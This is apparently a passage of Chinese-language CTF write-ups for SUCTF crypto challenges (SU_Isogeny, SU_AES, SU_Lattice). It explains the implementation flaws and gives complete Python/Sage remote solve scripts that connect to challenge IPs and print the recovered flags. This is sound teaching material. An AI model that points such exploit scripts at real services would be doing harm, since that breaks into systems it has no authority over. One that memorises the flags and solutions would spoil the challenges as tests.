h = (base_msb + x) * (minus_msb + z) - 2 * (base_msb + x) + 2 * (minus_msb + z) + 12
polys = [f, g, h]
bounds = [2**UNKNOWN_BITS, 2**UNKNOWN_BITS, 2**UNKNOWN_BITS]
m = I * len(polys)
monomials = list(set((prod(polys) ** I).monomials()))
print(f"Constructing {len(monomials)} monomials with i={I}, m={m}.")
shifts = constructOptimalShiftPolys(polys, monomials, P, m)
print(f"Built {len(shifts)} shift polynomials.")
cwd = os.getcwd()
temp_dir = tempfile.mkdtemp(prefix="su-isogeny-")
try:
os.chdir(temp_dir)
roots = coppersmithsMethod(shifts, P**m, bounds, verbose=True)
finally:
os.chdir(cwd)
shutil.rmtree(temp_dir, ignore_errors=True)
return int(base_msb + roots[0]), roots
def decrypt_flag(ciphertext, shared_secret):
key = sha256(str(shared_secret).encode()).digest()
return unpad(AES.new(key, AES.MODE_ECB).decrypt(ciphertext), 16)
class RemoteOracle:
def __init__(self, host, port, connect_timeout, round_timeout):
self.host = host
self.port = port
self.round_timeout = round_timeout
self.sock = socket.create_connection((host, port), timeout=connect_timeout)
self.sock.settimeout(1.0)
self.buffer = ""
def close(self):
try:
self.sock.close()
except OSError:
pass
def send_line(self, line):
self.sock.sendall(f"{line}\n".encode())
def _recv_more(self, deadline):
while time.time() < deadline:
try:
chunk = self.sock.recv(65536)
except socket.timeout:
continue
if not chunk:
raise EOFError("Remote closed the connection before returning enough data.")
self.buffer += chunk.decode("utf-8", "replace")
return
raise TimeoutError(f"Timed out while waiting for remote output from {self.host}:{self.port}.")
def wait_for(self, pattern):
regex = re.compile(pattern, re.S)
deadline = time.time() + self.round_timeout
while True:
match = regex.search(self.buffer)
if match:
value = match.group(1)
self.buffer = self.buffer[match.end():]
return value
self._recv_more(deadline)
def wait_for_many(self, patterns):
regexes = [re.compile(pattern, re.S) for pattern in patterns]
deadline = time.time() + self.round_timeout
while True:
matches = [regex.search(self.buffer) for regex in regexes]
if all(matches):
values = [match.group(1) for match in matches]
self.buffer = self.buffer[max(match.end() for match in matches) :]
return values
self._recv_more(deadline)
def get_public_keys(self):
self.send_line("1")
pk_a, pk_b = self.wait_for_many([r"pkA:\s*(\d+)", r"pkB:\s*(\d+)"])
return int(pk_a), int(pk_b)
def get_gift(self, pk_a, pk_b):
self.send_line("2")
self.send_line(str(pk_a))
self.send_line(str(pk_b))
return int(self.wait_for(r"Gift\s*:\s*(\d+)"))
def get_ciphertext(self):
self.send_line("3")
return bytes.fromhex(self.wait_for(r"Here is your flag:\s*([0-9a-fA-F]+)"))
def collect_local_instance(fake_flag, seed_value):
if seed_value is not None:
random_seed(seed_value)
secret_a = [randint(-5, 5) for _ in PL]
secret_b = [randint(-5, 5) for _ in PL]
pk_a = cal(0, secret_a)
pk_b = cal(0, secret_b)
shared_secret = cal(pk_a, secret_b)
ciphertext = AES.new(
sha256(str(shared_secret).encode()).digest(),
AES.MODE_ECB,
).encrypt(pad(fake_flag, 16))
pk_a_plus = neighbor_plus(pk_a)
pk_a_minus = neighbor_minus(pk_a)
return {
"mode": "local",
"pk_a": pk_a,
"pk_b": pk_b,
"pk_a_plus": pk_a_plus,
"pk_a_minus": pk_a_minus,
"gift_base": leak_high_bits(pk_a, secret_b),
"gift_plus": leak_high_bits(pk_a_plus, secret_b),
"gift_minus": leak_high_bits(pk_a_minus, secret_b),
"ciphertext": ciphertext,
"shared_secret": shared_secret,
"expected_flag": fake_flag,
}
def collect_remote_instance(host, port, connect_timeout, round_timeout):
oracle = RemoteOracle(host, port, connect_timeout, round_timeout)
try:
pk_a, pk_b = oracle.get_public_keys()
pk_a_plus = neighbor_plus(pk_a)
pk_a_minus = neighbor_minus(pk_a)
return {
"mode": "remote",
"pk_a": pk_a,
"pk_b": pk_b,
"pk_a_plus": pk_a_plus,
"pk_a_minus": pk_a_minus,
"gift_base": oracle.get_gift(pk_a, pk_b),
"gift_plus": oracle.get_gift(pk_a_plus, pk_b),
"gift_minus": oracle.get_gift(pk_a_minus, pk_b),
"ciphertext": oracle.get_ciphertext(),
}
finally:
oracle.close()
def run_attack(instance):
recovered_secret, low_roots = recover_shared_secret(
instance["gift_base"],
instance["gift_plus"],
instance["gift_minus"],
)
plaintext = decrypt_flag(instance["ciphertext"], recovered_secret)
print(f"mode : {instance['mode']}")
print(f"pkA : {instance['pk_a']}")
print(f"pkB : {instance['pk_b']}")
print(f"pkA_plus : {instance['pk_a_plus']}")
print(f"pkA_minus : {instance['pk_a_minus']}")
print(f"gift(base): {instance['gift_base']}")
print(f"gift(+4) : {instance['gift_plus']}")
print(f"gift(-4) : {instance['gift_minus']}")
print(f"low roots : {list(low_roots)}")
print(f"flag : {plaintext.decode('utf-8', 'replace')}")
if "shared_secret" in instance and recovered_secret != instance["shared_secret"]:
raise RuntimeError("Recovered shared secret does not match the local oracle instance.")
if "expected_flag" in instance and plaintext != instance["expected_flag"]:
raise RuntimeError("Recovered plaintext does not match the local flag.")
return plaintext
def main(default_mode="local"):
parser = argparse.ArgumentParser(description="Local/remote exploit for the SU_Isogeny challenge.")
parser.add_argument("--mode", choices=["local", "remote"], default=default_mode)
parser.add_argument("--flag", default="FLAG{local_test_flag}", help="Fake local flag for validation.")
parser.add_argument("--seed", type=int, default=None, help="Optional RNG seed for local mode.")
parser.add_argument("--host", default=DEFAULT_HOST, help="Remote host for remote mode.")
parser.add_argument("--port", type=int, default=DEFAULT_PORT, help="Remote port for remote mode.")
parser.add_argument("--connect-timeout", type=int, default=10, help="Connection timeout in seconds.")
parser.add_argument("--round-timeout", type=int, default=240, help="Per remote round timeout in seconds.")
args = parser.parse_args()
try:
if args.mode == "local":
instance = collect_local_instance(args.flag.encode(), args.seed)
else:
instance = collect_remote_instance(args.host, args.port, args.connect_timeout, args.round_timeout)
run_attack(instance)
except (EOFError, OSError, TimeoutError) as exc:
raise SystemExit(f"{args.mode} mode failed: {exc}")
if __name__ == "__main__":
main()
sage -python solve.py --mode remote --host 110.42.47.116 --port 10001 --round-timeout 180"

SUCTF{Actu41ly_th1s_iS_4_Pr0blem_7hat_w4s_s0lved_1n_2023_https://eprint.iacr.org/2023/1409}
SU_AES
题目信息
- 远端服务会先给出一次
flag的 ECB 密文,然后提供最多 300 次交互:change the S-boxencrypt a messagereset aesexit
最终解出的 flag 为:
SUCTF{Th3_K3y_15_1n_7h3_S_80x}
1. 源码分析
1.1 题目主逻辑
chal.py 的核心逻辑很简单:
seed = int.from_bytes(urandom(16))
key = int.from_bytes(urandom(16))
aes = AES(key, seed)
print(f'[+] Here is your flag ciphertext (in hex): {aes.encrypt_ecb(pad(flag, 16)).hex()}')
也就是说:
- 初始实例有一个未知主密钥
key - 还有一个未知
seed AES(key, seed)会把标准 AES S-box 先按这个未知 seed 打乱,再用它做 key schedule
然后题目给了三种能力:
- 修改当前 S-box:
change(s=..., k=None) - 修改当前 key:
change(s=None, k=...) reset回到最初那组未知(key, seed)
1.2 AES 实现里真正有问题的地方
AES.__init__() 里,初始 S-box 是这样生成的:
self.Sbox = [标准 AES S-box]
Random(seed).shuffle(self.Sbox)
这一步虽然把标准 S-box 打乱了,但本质上仍然是一个 置换,也就是 256 个值各出现一次。
真正的漏洞在 change():
def change(self, s=None, k=None):
if s:
self.Sbox = Random(s).choices(self.Sbox, k=len(self.Sbox))
if k:
self.change_key(k)
问题在于这里用了 Random(s).choices(...),不是 shuffle(...)。
shuffle:无放回打乱,结果仍然是 permutationchoices:有放回抽样,结果会出现重复值,很多值会消失
这意味着一旦我们调用 change(s=...),当前 S-box 很可能就不再是置换,而是一个严重退化的映射。
这题的核心就是利用这个退化。
2. 把 change(s) 写成“未知置换 + 已知映射”的形式
设初始未知 S-box 为 P。
因为最开始只是:
Random(seed).shuffle(self.Sbox)
所以 P 只是标准 AES S-box 的某个未知置换版本。
现在看一次 change(s) 会发生什么。
Random(s).choices(self.Sbox, k=256) 的含义是:
- 对每个位置
x in {0..255} - 用 seed
s决定一个被抽中的下标I_s(x) - 新 S-box 的第
x项等于旧 S-box 的第I_s(x)项
于是:
S_new[x] = S_old[I_s(x)]
如果当前 S_old = P,那么:
S_new = P o I_s
这里:
P:未知置换I_s:由我们自己选择的 seeds决定的已知函数0..255 -> 0..255
如果连续做多次同一个 seed:
change(s), change(s), change(s), ...
那么 S-box 会变成:
P o I_s o I_s o ... o I_s = P o I_s^t
这就非常关键了。
因为 I_s 是一个定义在 256 个点上的有限函数图,它一定由若干个环和指向环的树组成。
如果我们找到一个 seed,使得 I_s 只有 一个环点,那不断迭代它,所有点最终都会汇入那个点。
也就是说,I_s^t 最终会变成常值函数。
一旦 I_s^t 是常值函数,S-box 就直接塌成常值。
3. 搜索“能把 S-box 塌成常值”的 seed
3.1 搜索目标
我们希望找到某个 seed s,使得映射 I_s:
- 只有一个环点
- 并且整棵函数图的最大深度尽量小
这样就能在较少的交互次数内,把当前 S-box 彻底塌成常值。
3.2 本地搜索结果
本地搜索后找到一个很好用的 seed:
s = 138188
它对应的 I_s 有如下性质:
- 只有 1 个环点
- 这个环点就是固定点
38 - 最大树高为
18
因此:
I_138188^18(x) = 38 对所有 x 都成立
于是连续执行 18 次:
change(s=138188)
就有:
Sbox(x) = P[38]
整个 S-box 变成一个常值映射。
记这个常数为:
c = P[38]
4. 常值 S-box 下,AES 会退化成什么
这一部分是整道题最核心的原理。
4.1 常值 S-box 的效果
设当前 S-box 是:
S(x) = c
无论输入字节是什么,SubBytes 之后都会变成 c。
也就是说,对任意 16 字节状态:
SubBytes(state) = 全 c 矩阵
然后:
ShiftRows不会改变“全 c”状态MixColumns作用在每一列[c,c,c,c]上,结果仍然是[c,c,c,c]
所以在每一轮里,只要经过一次 SubBytes,整个 state 就被“洗成全 c”。
4.2 为什么最终密文会变成 K10 xor c
设最后一轮轮密钥是 K10。
在第 10 轮里:
SubBytes后:全是cShiftRows后:还是全是cAddRoundKey(K10)后:每个字节变成c xor K10[i]
所以最终密文是:
C = K10 xor c
这里的 c 是逐字节复制的常数。
更重要的是:
- 这个结果与明文无关
- 与前 9 轮里 state 如何变化也无关
- 前面的复杂过程都被最后一轮
SubBytes的“常值化”抹掉了
这就意味着:只要把 S-box 塌成常值,我们就能直接观察到最后一轮轮密钥。
5. 如何先恢复 c = P[38]
这里有一个小问题:
如果我们只是把 S-box 塌成常值,然后直接加密,那么拿到的是:
C = K10 xor c
其中 K10 还是未知的,不能直接把 c 分出来。
所以我们先走一步“可控 key”的路线。
5.1 关键细节:change(s, k) 的顺序
在 change() 里,执行顺序是:
if s:
改 S-box
if k:
用当前 S-box 重做 key schedule
这说明:
- 我们先连续 18 次
change(s=138188),把 S-box 塌成常值c - 然后执行一次
change(k=1),用这个常值 S-box 重算一个可控 key 的轮密钥
此时整个加密过程只依赖于:
- 常数
c - 我们自己选定的 key
1
于是对于每个 c in {0..255},都能本地预计算:
F(c) = Enc_const_sbox(c, key=1, msg=pad(b""))
这里消息取空串,是因为题目在 encrypt 时会先做 pad(msg, 16),所以空串会变成一个完整的 0x10 * 16 块。
5.2 F(c) 是可逆的
本地枚举 c=0..255 后可以发现:
- 这 256 个输出互不相同
- 因此
F(c)是一一对应的
于是只需要:
- 塌缩常值 S-box
change(k=1)encrypt("")
就能根据返回的密文,查表恢复:
c = P[38]
6. 如何恢复原始实例的最后一轮轮密钥 K10
现在我们已经知道:
c = P[38]
接下来:
reset- 再次连续 18 次
change(s=138188),把 S-box 塌成常值 - 这一次不要改 key
- 直接
encrypt("")
因为这次轮密钥仍然是最初那组未知 (key, P) 生成出来的原始轮密钥,所以返回的是:
C = K10 xor c
于是:
K10 = C xor c
这样我们就直接拿到了原始实例完整的 16 字节最后一轮轮密钥。
这一步是整道题最大的突破点。
7. 只做一次 change(s_i) 时,我们能得到什么
恢复 K10 之后,还差两样东西:
- 原始未知 S-box
P - 原始主密钥
key
现在考虑每次 reset 后,只做一次:
change(s_i)
设这个 seed 对应的已知函数为 I_i。
那么当前 S-box 是:
S_i = P o I_i
记:
T_i = Im(I_i)
因为 P 是置换,所以当前 S-box 的像集就是:
Im(S_i) = P(T_i)
这很重要,因为:
T_i完全由我们选的 seed 决定,是已知的P(T_i)就是“已知集合经过未知置换后的结果”
如果我们能把很多个这样的 P(T_i) 都拿到,就有机会反推出整个未知置换 P。
8. 如何观测到 P(T_i)
8.1 最后一轮能看到的集合
对任意一次加密,最后一轮某个字节位置 j 的密文满足:
C_j = S_i(z_j) xor K10[j]
其中 z_j 是最后一轮 SubBytes 之前的那个字节。
由于 S_i 的值域就是 P(T_i),所以:
C_j xor K10[j] ∈ P(T_i)
也就是说,只要我们知道 K10,就能把观测到的密文字节“平移回去”,得到 P(T_i) 里的元素。
8.2 实际做法
在远端我们采用如下做法:
resetchange(s_i)- 发送一条很长的随机消息,一次性让服务加密几百个 block
- 收集所有密文字节
- 对每个位置
j都做byte xor K10[j] - 把所有 block、所有位置的结果做并集
得到的集合记为:
M_i
理论上它一定满足:
M_i ⊆ P(T_i)
而在本地随机实例和远端实测中,只要给 512 个随机 block 左右,M_i 就会稳定等于完整的:
M_i = P(T_i)
这一步依赖的是:
- AES 的扩散很强
- 我们一次查询就能拿到非常多的样本
- 需要的只是“值域并集”,不是精确分布
在这题里,这个方法非常稳定,远端一次成功。
9. 用“集合签名”恢复整张未知 S-box P
这一部分是第二个核心原理。
9.1 签名的想法
我们知道:
M_i = P(T_i)
于是对于任意输入下标 x,以及对应的输出值 y = P(x),有:
x ∈ T_i <=> P(x) ∈ P(T_i) <=> y ∈ M_i
所以:
- 输入下标
x在各个T_i中的成员关系 - 输出值
P(x)在各个M_i中的成员关系
这两个“签名”是完全相同的。
9.2 我们需要什么样的 seed 集合
只要我们选出足够多组 T_i,使得 256 个输入下标的成员签名都互不相同,就能唯一匹配每个 P(x)。
本地用贪心搜索,可以找到这样一组 seed:
SIG_SEEDS = [446, 439, 213, 274, 20, 262, 280, 140, 236, 256, 50, 2]
对于这些 seed,对每个 x in {0..255} 定义输入签名:
sig_in(x) = [ x∈T_1, x∈T_2, ..., x∈T_12 ]
可以验证:
256 个 sig_in(x) 全都不同
9.3 如何匹配
远端拿到所有 M_i 之后,对每个输出字节值 y 定义:
sig_out(y) = [ y∈M_1, y∈M_2, ..., y∈M_12 ]
因为 y = P(x) 时:
sig_out(y) = sig_in(x)
所以只要把 sig_out(y) 映射回对应的 x,就能恢复:
P(x) = y
最终整张 256 字节 S-box 全部恢复。
这一步不需要爆破,不需要解方程,只是一个非常漂亮的“集合成员签名匹配”。
10. 有了 P 和 K10,如何恢复主密钥
题目里的 key schedule 在 AES.py 中写得很清楚:
if i % 4 == 0:
temp = [
self.round_keys[i - 4][0] ^ self.Sbox[self.round_keys[i - 1][1]] ^ Rcon[i // 4],
self.round_keys[i - 4][1] ^ self.Sbox[self.round_keys[i - 1][2]],
self.round_keys[i - 4][2] ^ self.Sbox[self.round_keys[i - 1][3]],
self.round_keys[i - 4][3] ^ self.Sbox[self.round_keys[i - 1][0]],
]
else:
temp = [
self.round_keys[i - 4][j] ^ self.round_keys[i - 1][j] for j in range(4)
]
如果把每 4 字节看成一个 word w_i,那么 forward 形式就是:
w_i = w_{i-4} xor w_{i-1} (i mod 4 != 0)
w_i = w_{i-4} xor g(w_{i-1}) (i mod 4 == 0)
其中 g() 用到了:
- 轮常量
Rcon - 我们刚刚恢复出来的 S-box
P
而我们已经知道最后四个 word,也就是:
w_40, w_41, w_42, w_43
因为它们就是 K10。
于是可以直接反推:
w_{i-4} = w_i xor w_{i-1} (i mod 4 != 0)
w_{i-4} = w_i xor g(w_{i-1}) (i mod 4 == 0)
一路从 w_43 反推回 w_0..w_3,就拿到了主密钥。
这是一个完全确定的过程,不需要猜测。
11. 最终解密 flag
恢复出:
- 原始主密钥
key - 原始未知 S-box
P
之后,整套 AES 参数就都齐了。
但题目代码里只实现了 encrypt,没有实现 decrypt,所以在利用脚本里手写了逆过程:
InvShiftRowsInvMixColumnsInvSubBytes,其中逆 S-box 就是P的逆置换
再对最开始服务给出的 flag ECB 密文逐块解密、去 PKCS#7 padding,就得到明文 flag。
12. 交互次数为什么足够
题目总共允许 300 次交互。
我们的利用开销如下:
12.1 恢复 c = P[38]
- 18 次
change(s=138188) - 1 次
change(k=1) - 1 次
encrypt - 1 次
reset
共:
21 次
12.2 恢复原始 K10
- 18 次
change(s=138188) - 1 次
encrypt - 1 次
reset
共:
20 次
12.3 恢复整张 S-box
我们使用 12 个签名 seed,每个 seed 需要:
- 1 次
change(s_i) - 1 次
encrypt - 1 次
reset
所以:
12 * 3 = 36 次
12.4 总计
21 + 20 + 36 = 77 次
远低于上限 300。
所以这条路不仅可行,而且余量很大。
13. 远端实现时的一个坑
远端有个很坑的小细节。
源码是:
s = int(input('[x] your seed: ') or 0, 16) or None
k = int(input('[x] your key: ') or 0, 16) or None
按直觉,如果不想修改某个参数,应该直接发空行。
但这里空行会触发:
int(0, 16)
从而抛出 TypeError,把服务直接打崩。
所以脚本里必须发送字符串:
0
来表示“不修改这个参数”。
这一点在远端实测时必须注意。
14. 利用流程总结
完整攻击流程可以概括为:
- 利用
choices()把change(s)写成P o I_s - 搜索一个只有单环点的
I_s - 重复 18 次
change(138188),把 S-box 塌成常值c = P[38] - 用可控 key 的查表方式恢复
c - 再塌一次常值 S-box,但保留原始轮密钥,恢复原始
K10 - 对若干个一步 fault
S_i = P o I_i,通过长消息采样拿到P(T_i) - 用集合成员签名恢复整张未知 S-box
P - 用
P和K10逆 key schedule,恢复原始主密钥 - 手写 AES 逆过程,解密最初给出的 flag 密文
这题的精华在于两点:
choices()让“修改 S-box”从 permutation 退化成了可控函数复合- 常值 S-box 让最后一轮轮密钥直接泄露
后面的恢复整张 S-box 和逆 key schedule,都是建立在这两个突破点之上的。
15. 脚本
#!/usr/bin/env python3
import re
import socket
import sys
from random import Random
from AES import AES, Rcon, matrix2text, text2matrix
HOST = "1.95.115.179"
PORT = 10002
# Repeating this seed 18 times collapses the current S-box to the constant P[38].
CONST_SEED = 138188
CONST_DEPTH = 18
CONST_INDEX = 38
KNOWN_KEY = 1
# These one-step faults separate all 256 input indices by membership signatures.
SIG_SEEDS = [446, 439, 213, 274, 20, 262, 280, 140, 236, 256, 50, 2]
# 512 random blocks are enough in local tests; we also use all 16 byte positions.
DATA_BLOCKS = 512
def build_constant_lookup():
lookup = {}
padded_empty = bytes([16]) * 16
for c in range(256):
aes = AES(1, 1)
aes.Sbox = [c] * 256
aes.change_key(KNOWN_KEY)
out = aes.encrypt(int.from_bytes(padded_empty, "big")).to_bytes(16, "big")
lookup[out] = c
if len(lookup) != 256:
raise ValueError("constant-S-box lookup is not injective")
return lookup
def mapping_image(seed):
return set(Random(seed).choices(list(range(256)), k=256))
def build_index_signatures():
subsets = [mapping_image(seed) for seed in SIG_SEEDS]
sig_to_idx = {}
for idx in range(256):
sig = tuple(int(idx in subset) for subset in subsets)
if sig in sig_to_idx:
raise ValueError("signature seeds do not separate all indices")
sig_to_idx[sig] = idx
return subsets, sig_to_idx
def gf_mul(a, b):
res = 0
for _ in range(8):
if b & 1:
res ^= a
hi = a & 0x80
a = (a << 1) & 0xFF
if hi:
a ^= 0x1B
b >>= 1
return res
def add_round_key(state, key_words):
for i in range(4):
for j in range(4):
state[i][j] ^= key_words[i][j]
def inv_shift_rows(state):
state[0][1], state[1][1], state[2][1], state[3][1] = (
state[3][1],
state[0][1],
state[1][1],
state[2][1],
)
state[0][2], state[1][2], state[2][2], state[3][2] = (
state[2][2],
state[3][2],
state[0][2],
state[1][2],
)
state[0][3], state[1][3], state[2][3], state[3][3] = (
state[1][3],
state[2][3],
state[3][3],
state[0][3],
)
def inv_mix_columns(state):
for i in range(4):
a = state[i][:]
state[i][0] = (
gf_mul(a[0], 14) ^ gf_mul(a[1], 11) ^ gf_mul(a[2], 13) ^ gf_mul(a[3], 9)
)
state[i][1] = (
gf_mul(a[0], 9) ^ gf_mul(a[1], 14) ^ gf_mul(a[2], 11) ^ gf_mul(a[3], 13)
)
state[i][2] = (
gf_mul(a[0], 13) ^ gf_mul(a[1], 9) ^ gf_mul(a[2], 14) ^ gf_mul(a[3], 11)
)
state[i][3] = (
gf_mul(a[0], 11) ^ gf_mul(a[1], 13) ^ gf_mul(a[2], 9) ^ gf_mul(a[3], 14)
)
def decrypt_block(block, round_keys, inv_sbox):
state = text2matrix(int.from_bytes(block, "big"))
add_round_key(state, round_keys[40:44])
inv_shift_rows(state)
for i in range(4):
for j in range(4):
state[i][j] = inv_sbox[state[i][j]]
for rnd in range(9, 0, -1):
add_round_key(state, round_keys[4 * rnd : 4 * (rnd + 1)])
inv_mix_columns(state)
inv_shift_rows(state)
for i in range(4):
for j in range(4):
state[i][j] = inv_sbox[state[i][j]]
add_round_key(state, round_keys[:4])
return matrix2text(state).to_bytes(16, "big")
def invert_key_schedule(last_round_key, sbox):
words = [None] * 44
last_words = text2matrix(int.from_bytes(last_round_key, "big"))
for i in range(4):
words[40 + i] = last_words[i]
def g(word, rcon_idx):
return [
sbox[word[1]] ^ Rcon[rcon_idx],
sbox[word[2]],
sbox[word[3]],
sbox[word[0]],
]
for i in range(43, 3, -1):
if i % 4 == 0:
words[i - 4] = [words[i][j] ^ g(words[i - 1], i // 4)[j] for j in range(4)]
else:
words[i - 4] = [words[i][j] ^ words[i - 1][j] for j in range(4)]
master_key = matrix2text(words[:4]).to_bytes(16, "big")
return master_key, words
def pkcs7_unpad(data):
pad_len = data[-1]
if pad_len < 1 or pad_len > 16:
raise ValueError("invalid padding length")
if data[-pad_len:] != bytes([pad_len]) * pad_len:
raise ValueError("invalid padding bytes")
return data[:-pad_len]
class Remote:
def __init__(self, host, port):
self.sock = socket.create_connection((host, port), timeout=10)
self.sock.settimeout(10)
self.buf = b""
banner = self.recv_until(b"[x] > ")
m = re.search(rb"flag ciphertext \(in hex\): ([0-9a-fA-F]+)", banner)
if not m:
raise ValueError("failed to parse flag ciphertext")
self.flag_ct = bytes.fromhex(m.group(1).decode())
def close(self):
try:
self.sock.close()
except OSError:
pass
def recv_until(self, marker):
while marker not in self.buf:
chunk = self.sock.recv(65536)
if not chunk:
raise EOFError("connection closed")
self.buf += chunk
idx = self.buf.index(marker) + len(marker)
out = self.buf[:idx]
self.buf = self.buf[idx:]
return out
def send_line(self, line):
if isinstance(line, str):
line = line.encode()
self.sock.sendall(line + b"\n")
def change(self, seed=None, key=None):
self.send_line("1")
self.recv_until(b"[x] your seed: ")
# The remote challenge crashes on blank input because it does int(0, 16).
self.send_line("0" if seed is None else format(seed, "x"))
self.recv_until(b"[x] your key: ")
self.send_line("0" if key is None else format(key, "x"))
self.recv_until(b"[x] > ")
def encrypt(self, msg):
self.send_line("2")
self.recv_until(b"[x] your message: ")
self.send_line(msg.hex())
data = self.recv_until(b"[x] > ")
m = re.search(rb"ciphertext \(in hex\): ([0-9a-fA-F]+)", data)
if not m:
raise ValueError("failed to parse ciphertext")
return bytes.fromhex(m.group(1).decode())
def reset(self):
self.send_line("3")
self.recv_until(b"[x] > ")
def recover_c(remote, lookup):
for _ in range(CONST_DEPTH):
remote.change(seed=CONST_SEED)
remote.change(key=KNOWN_KEY)
ct = remote.encrypt(b"")
if len(ct) != 16:
raise ValueError("unexpected ciphertext length while recovering c")
c = lookup[ct]
remote.reset()
return c
def recover_last_round_key(remote, c):
for _ in range(CONST_DEPTH):
remote.change(seed=CONST_SEED)
ct = remote.encrypt(b"")
if len(ct) != 16:
raise ValueError("unexpected ciphertext length while recovering K10")
remote.reset()
return bytes(b ^ c for b in ct)
def collect_image_sets(remote, last_round_key):
rng = Random(20260314)
sample = bytes(rng.getrandbits(8) for _ in range(DATA_BLOCKS * 16))
image_sets = []
for seed in SIG_SEEDS:
remote.change(seed=seed)
ct = remote.encrypt(sample)
image = set()
for off in range(0, len(ct), 16):
block = ct[off : off + 16]
for j, b in enumerate(block):
image.add(b ^ last_round_key[j])
image_sets.append(image)
remote.reset()
return image_sets
def recover_sbox(image_sets, sig_to_idx):
recovered = [None] * 256
for value in range(256):
sig = tuple(int(value in image) for image in image_sets)
idx = sig_to_idx.get(sig)
if idx is None:
raise ValueError(f"unmatched output signature for byte {value:#x}")
recovered[idx] = value
if any(v is None for v in recovered):
raise ValueError("failed to recover complete S-box")
return recovered
def recover_flag(host, port):
lookup = build_constant_lookup()
_, sig_to_idx = build_index_signatures()
remote = Remote(host, port)
try:
flag_ct = remote.flag_ct
c = recover_c(remote, lookup)
last_round_key = recover_last_round_key(remote, c)
image_sets = collect_image_sets(remote, last_round_key)
sbox = recover_sbox(image_sets, sig_to_idx)
master_key, round_keys = invert_key_schedule(last_round_key, sbox)
inv_sbox = [0] * 256
for i, v in enumerate(sbox):
inv_sbox[v] = i
plaintext = b"".join(
decrypt_block(flag_ct[i : i + 16], round_keys, inv_sbox)
for i in range(0, len(flag_ct), 16)
)
return {
"flag_ct": flag_ct,
"c": c,
"last_round_key": last_round_key,
"master_key": master_key,
"flag": pkcs7_unpad(plaintext),
}
finally:
remote.close()
def main():
host = sys.argv[1] if len(sys.argv) > 1 else HOST
port = int(sys.argv[2]) if len(sys.argv) > 2 else PORT
result = recover_flag(host, port)
print(f"flag ciphertext: {result['flag_ct'].hex()}")
print(f"c = P[{CONST_INDEX}] = {result['c']:02x}")
print(f"K10 = {result['last_round_key'].hex()}")
print(f"master key = {result['master_key'].hex()}")
print(result["flag"].decode(errors="replace"))
if __name__ == "__main__":
main()
运行:
python3 solve.py
或指定端口:
python3 solve.py 1.95.115.179 10015
都可以拿到:
SUCTF{Th3_K3y_15_1n_7h3_S_80x}
16. 最后总结
这题表面上看像“随机 S-box 的 AES 变种”,容易把人往分析非标准 AES 上带。
但真正的突破点并不在“密码结构多复杂”,而在实现细节:
Random(s).choices(self.Sbox, k=256)
这一行把原本应该保持置换性质的 S-box,变成了一个可被反复压缩、最终塌成常值的映射。
一旦看穿这一点,整题就从“分析神秘 AES”变成了:
- 找一个合适的函数图
- 把最后一轮轮密钥打出来
- 再把未知置换用签名法拼回去
所以这题本质上是一个非常漂亮的实现漏洞题,而不是去硬刚 AES 本体。
SU_Lattice
题目概览
题目给了一个本地附件 chall 和两个远端端口:
1.95.152.117:100011.95.152.117:10002
交互菜单非常简单:
===Flag Management System===
[1] Get Flag
[2] Get Hint
[3] Exit
>>>
直觉上题目会让人往“格密码”或者“模幂泄露”上想,但这题真正的核心不是传统 LWE/NTRU,而是:
- 一个 24 阶模线性递推
- 每次只泄露输出的 高位
- 需要在 模数、递推系数、初始状态都未知 的情况下恢复内部状态
最后的 flag 为:
SUCTF{b8faea32-9f91-42b5-9355-33865e06270c}
附件分析
二进制信息
chall 是一个静态链接、去符号的 64 位 Linux ELF。
本地是 macOS,不能直接运行,所以我一开始主要靠:
objdump- 字符串分析
- Linux/amd64 Docker 容器里的黑盒验证
来恢复逻辑。
主函数流程
程序入口在 0x401e71,大致流程如下:
- 关闭标准输入输出缓冲
- 打开
./data - 从
./data读取:- 一个模数
q - 第一组 24 个整数
- 第二组 24 个整数
- 一个模数
- 启动时先计算一个答案并缓存
- 进入菜单循环
本地字符串里能看到:
./data./flagHere is your hint: %lldPlease enter your answer:
这说明 flag 并不参与提示生成,真正的参数都在 ./data 里。
关键逆向结论
这题有两个最容易误判的点。
误判 1:0x401b45 不是幂模,而是乘法模
函数 0x401b45 的逻辑是经典的“倍增加法”:
long long mul_mod(long long x, long long y, long long q) {
long long res = 0;
while (y != 0) {
if (y & 1) {
res = (res + x) % q;
}
x = (x + x) % q;
y >>= 1;
}
return res;
}
一开始如果把它看成 pow_mod(base, exp, mod),后面的数学模型会全部走偏。
误判 2:Get Hint 更新的是递推状态,不是简单移位
0x401bae / 0x401c25 这段逻辑会:
- 取第二组 24 个数作为当前状态
- 和第一组 24 个数做模内积
- 把得到的新值追加到状态末尾
- 整个状态左移一位
- 返回新值右移 20 位的结果
伪代码如下:
// coeff[0..23] 读取自第一组
// state[0..23] 读取自第二组
// q 为模数
long long get_hint() {
long long x = 0;
for (int i = 0; i < 24; i++) {
x = (x + coeff[i] * state[i]) % q;
}
for (int i = 0; i < 23; i++) {
state[i] = state[i + 1];
}
state[23] = x;
return x >> 20;
}
注意最后一句:
state[23] = x
而不是“保持尾元素不变”。
这个点我中途也误判过一次,后来靠本地黑盒实验和地址重新核对才纠正过来。
正确数学模型
设:
- 模数为
q - 固定系数为
a_0, a_1, ..., a_23 - 初始状态为
z_0, z_1, ..., z_23
那么程序真正生成的是一个 24 阶线性递推:
z_{n+24} = (a_0 z_n + a_1 z_{n+1} + ... + a_23 z_{n+23}) mod q
而 Get Hint 第 n 次返回的是:
hint_n = z_{n+24} >> 20
也就是说,服务端每次只泄露输出的高位,低 20 位被截断了。
Get Flag 的答案是什么
程序启动时会先把第二组 24 个数求和并取模:
answer = (z_0 + z_1 + ... + z_23) mod q
这个值在启动时就缓存好了,后续调用 Get Hint 不会修改它。
所以整题的目标可以精炼成一句话:
给定同一条 24 阶模递推输出序列的高位,恢复最初的 24 个状态值之和。
远端行为分析
这题远端有一个很关键的特性:
- 每次新连接对应一组新的实例
也就是说:
- 你不能先开一个连接采样 hint
- 再开另一个连接提交答案
因为第二条连接里的 q、递推系数、初始状态都已经变了。
这意味着必须:
- 在 同一条 TCP 连接 里收集足够多的 hint
- 本地完成恢复
- 立刻在同一条连接里提交答案
另外远端初始菜单通常会慢十几秒才出现,这一点在写脚本时要考虑超时。
攻击总思路
这题最后用的是一条比较标准的“截断 MRG 预测”路线,核心参考论文是:
我们把整条链拆成 4 步:
- 用高位截断输出构造格,找出一批 湮灭多项式
- 用这些多项式的
resultant恢复模数q - 在
GF(q)上对这些多项式求 gcd,恢复真实的 24 阶特征多项式 - 用嵌入格恢复前若干个输出的低 20 位,再反推出最初状态
下面逐步展开。
